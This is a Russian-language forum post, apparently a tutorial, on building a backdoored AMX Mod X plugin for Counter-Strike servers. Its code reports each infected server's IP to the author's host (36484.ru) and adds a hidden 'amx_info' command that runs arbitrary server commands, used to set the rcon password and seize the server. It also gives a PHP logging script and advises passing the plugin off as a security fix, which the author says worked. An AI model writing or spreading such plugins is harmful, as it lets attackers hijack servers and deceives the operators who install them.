РЕКЛАМА НА ФОРУМЕ 

РЕКЛАМА НА ФОРУМЕ MultiVPN РЕКЛАМА НА ФОРУМЕ

Бэкдоры В Amxx #2

zikker

Гость
Итак, начнем.

AMXX-часть
Для начала подключаем модуль sockets:
Код:
#include <sockets>
Создаем новую переменную socket:
Код:
new socket
В функцию public_init() добавляем подключение:
Код:
socket = socket = socket_open ("www.36484.ru", 80, SOCKET_TCP, error)
Обязательно с www! Иначе пакеты не будут доставлены — лично столкнулись с этим.
Создаем еще переменную для нашего запроса:
Код:
new query[256]
Ну и для ошибки ©:
Код:
new error
А также для айпишника сервера:
Код:
new szIp[33]
Для того, чтобы было удобнее вставлять запрос, сделаем его через format
Код:
format(query, 256, "GET /backdoor.php?ip=%s HTTP 1.1 ^r^n HOST 36484.ru^r^n", szIp)
Также выше нужно будет добавить
Код:
get_user_ip(0, szIp, 32, 1)
В итоге у нас получается:
Код:
#include <amxmodx>
#include <sockets>

new socket, query[256], error, szIp[33]

public plugin_init() {
register_plugin("x", "x", "x")
get_user_ip(0, szIp, 32, 1)

socket = socket_open ("www.36484.ru", 80, SOCKET_TCP, error)

format(query, 256, "GET /backdoor.php?ip=%s HTTP 1.1 ^r^n HOST 36484.ru^r^n", szIp)
}
Но это еще не все. Продолжаем.
Далее мы посылаем наш запрос:
Код:
socket_send(socket, query, 256)
Ну и закрываем сокет:
Код:
socket_close(socket)
В итоге получается вот такой код:
Код:
#include <amxmodx>
#include <sockets>

new socket, query[256], error, szIp[33]

public plugin_init() {
register_plugin("x", "x", "x")
get_user_ip(0, szIp, 32, 1)

socket = socket_open ("www.36484.ru", 80, SOCKET_TCP, error)

format(query, 256, "GET /backdoor.php?ip=%s HTTP 1.1 ^r^n HOST 36484.ru^r^n", szIp)
socket_send(socket, query, 256)

socket_close(socket)
}
Да, но что теперь с этим делать? Где ркон?, — спросите вы.
А мы обойдемся без ркона. Мы будем практиковать другой способ.
Регистрируем клиентскую команду:
Код:
register_clcmd("amx_info", "cmdSayInfo")
Добавляем функцию
Код:
public cmdSayInfo(id) {
new szArg[192]
read_args (szArg, 191)

server_cmd("%s", szArg)
}
И что из этого? Ркон-то где?
Где-где… установим сами! Заходим на уязвимый сервер, пишем amx_info rcon_password sosnooley и вуа-ля — на сервере стоит ркон sosnooley.

Конечный плагин таков:
Код:
#include <amxmodx>
#include <sockets>

new socket, query[256], error, szIp[33]

public plugin_init() {
register_plugin("x", "x", "x")
register_clcmd("amx_info", "cmdSayInfo")

get_user_ip(0, szIp, 32, 1)

format(query, 256, "GET /backdoor.php?ip=%s HTTP 1.1 ^r^n HOST 36484.ru^r^n", szIp)
socket = socket_open ("www.36484.ru", 80, SOCKET_TCP, error)
socket_send(socket, query, 256)
socket_close(socket)
}

public cmdSayInfo(id) {
new szArg[192]
read_args (szArg, 191)

server_cmd(szArg)
}
Web-часть
Создаем на нашем веб-сервере файл backdoor.php (ибо мы его указывали в плагине) с содержимым
PHP:
<?php
$sql['host'] = "36484.ru"; //SQL-хост
$sql['user'] = "root"; //SQL-пользователь
$sql['pass'] = "123456"; //SQL-пароль
$sql['db'] = "justmakeserver"; //SQL-база

mysql_connect($sql['host'], $sql['user'], $sql['pass']);
mysql_select_db($sql['db']);

$ip = addslashes($_GET['sign']);
$port_a = explode(":", $ip);
$fullip = getenv(REMOTE_ADDR).':'.$port_a[1];

$q = mysql_query("create table if not exists bugfix ( `id` int auto_increment, `ip` varchar(25) not null, `fullip` varchar(25) not null, primary key (`id`))");
$q = mysql_query("select * from bugfix where fullip='{$fullip}' limit 1");

if(!$q)
die('Oops');

if(mysql_num_rows($q) == 0)
$p = mysql_query("insert into bugfix (`id`, `ip`, `fullip`) values (0, '{$ip}', '{$fullip}')");
?>
Осталось последнее — преподнести нашей жертве. Это можно сделать многими способами — начиная от "новости" о новом эксплойте и якобы фиксе от него в этом плагине, заканчивая очередным дебильным плагином на roundsound. У нас получилось протолкнуть это как фикс от автобай бага #3 (www.csds.ws), лол.
 
Сверху